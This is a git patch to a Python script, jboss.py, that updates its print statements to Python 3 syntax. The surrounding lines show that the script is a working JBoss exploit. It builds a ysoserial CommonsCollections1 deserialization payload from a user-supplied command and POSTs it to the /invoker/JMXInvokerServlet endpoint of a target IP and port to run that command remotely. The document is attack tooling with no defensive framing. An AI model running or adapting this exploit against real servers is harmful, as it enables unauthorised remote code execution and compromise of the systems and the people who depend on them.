From b55d9ebfea871a91d32d5e0554b87f6ee94a04f5 Mon Sep 17 00:00:00 2001 From: FulltronService Date: Mon, 17 May 2021 00:08:30 +0100 Subject: [PATCH] jboss.py correction --- JBoss/jboss.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/JBoss/jboss.py b/JBoss/jboss.py index e82ad23..a3c0fc7 100644 --- a/JBoss/jboss.py +++ b/JBoss/jboss.py @@ -36,26 +36,26 @@ ysoserial_path = args.ysoserial_path if ysoserial_path is None: - print '[-] Could not find ysoserial JAR file' + print ('[-] Could not find ysoserial JAR file') sys.exit(1) if len(args.target.split(":")) != 2: - print '[-] Target must be in format IP:PORT' + print ('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: - print '[-] You must specify a command to run' + print ('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') -print '[*] Target IP: {}'.format(ip) -print '[*] Target PORT: {}'.format(port) +print ('[*] Target IP: {}'.format(ip)) +print ('[*] Target PORT: {}'.format(port)) gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) if r.status_code == 200: - print '[+] Command executed successfully' + print ('[+] Command executed successfully')